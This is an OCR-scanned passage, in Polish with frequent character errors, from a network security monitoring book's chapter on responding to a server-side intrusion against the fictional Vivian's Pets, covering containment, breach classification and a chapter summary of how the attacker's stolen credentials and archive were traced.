Jak wyjasniono w rozdziale 9., eskalacja i rozwigzanie to dwie fazy przeplywu
pracy w systemie NSM, ktore nastepuja po fazach zbierania danych i analizy. Po
zakonczeniu analizy zespét CIRT musi zidentyfikowaé¢ wlascicieli dotknietych
atakiem systeméw i wyjasni¢ nature danych zidentyfikowanych jako skradzione.
Z kolei wiasciciel danego zasobu powinien oszacowaé skutki utraty danych i réw-
noczes$nie upowaznié zespét CIRT do zastosowania krétkoterminowych srodkéw
powstrzymujacych wlamanie. Najbardziej efektywny mechanizm powstrzymy-
wania zaklada usuniecie systeméw o naruszonym bezpieczenistwie z sieci.
Najpierw odlacz od sieci komputer 192.168.3.5. Powinni§my uwaza¢ go za nie-
pewny, poniewaz nie wiemy, co zrobil wlamywacz w trakcie swojej zaszyfrowa-
nej sesji OpenSSH. Zesp6t CIRT powinien takze ustalié, czy jakie§ informacje
znajdujace sie w systemie 192.168.3.5 nie nalezg do kategorii wrazliwych danych,
co mogloby pomée zadecydowaé, czy to zdarzenie nalezy zakwalifikowaé jako
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incydent klasy Breach 2, czy jako incydent klasy Breach 1. Podstawa tego roz-
réznienia jest waznosé i wrazliwo$é skradzionych danych.

Zespot CIRT powinien ustalié, czy jakie§ informacje wziete z systemu
192.168.3.5 nie moglyby prowadzi¢ do innych wlaman. Czy istniejg jakie$ konta,
ktére réwniez moglyby zostaé uzyte do zalogowania sie do innych systemoéw firmy
Vivian's Pets? Czy istnieja pliki konfiguracyjne, ktére mogltyby umozliwié¢ dodat-
kowy dostep? Czy jacy$ partnerzy w biznesie lub klienci sa zagrozeni? Gdy zesp6t
CIRT bedzie ocenial konsekwencje wlamania, niezbedne moze by¢ wlaczenie
w ten proces przedstawicieli biznesu, prawnikéw i innych zespoléw. Ostatecznie
komputer 192.168.3.5 powinien zostaé¢ wycofany z uzytku, poniewaz nie stanowi
juz platformy godnej zaufania. Moze to by¢ gorzka lekcja dla IT i personelu odpo-
wiedzialnego za bezpieczenistwo: jesli tworcy systemu Metasploitable ostrzegajg
uzytkownikéw, aby trzymali te dystrybucje z dala od internetu, to nie zartuja!

Podsumowanie

Kup ksigzke

W tym rozdziale przeanalizowalismy krok po kroku naruszenie bezpieczeristwa
po stronie serwera. Wykorzystalismy kilka form danych NSM do analizy wta-
mania majacego na celu dwa systemy w sieci firmy Vivian's Pets. Badajac dane
alert6éw, sesji, pelne dane, dane transakcji i dane wyodrebnione, dowiedzielismy
sie, ze wlamywacz wykradt informacje systemowe oraz skompresowane archiwum
zwigzane z bazg danych MySQL.

Dowiedzieli$my sie takze, ze same dane NSM nie mogg zawiera¢ odpowiedzi
na kazde pytanie. Kiedy wlamywacz wykorzystal skradzione dane uwierzytel-
niajace (zawarte w plikach /etc/passwd i Jetc/shadow) do ustanowienia polaczenia
za pomocg OpenSSH, nie mogliSmy zobaczy¢ polecen, ktére uruchamial, chociaz
mogli§my zobaczy¢ dzialania pochodne, takie jak przestanie archiwum za pomocg
ustugi FTP

Zrekonstruowalismy skradzione archiwum, uzywajgc narzedzia NSM towa-
rzyszacego konsoli Sguil, chociaz moglismy przeprowadzi¢ ten sam rodzaj rekon-
strukeji przy uzyciu programu Wireshark lub innego narzedzia.

Ten przypadek stanowit okazje do wprowadzenia pojecia wzorcéow ataku
i przedstawienia sposobu ich analizy przy uzyciu narzedzi i metod NSM. W nas-
tepnym rozdziale odwrécimy nieco sytuacje i oméwimy naruszenie bezpieczen-
stwa po stronie klienta.
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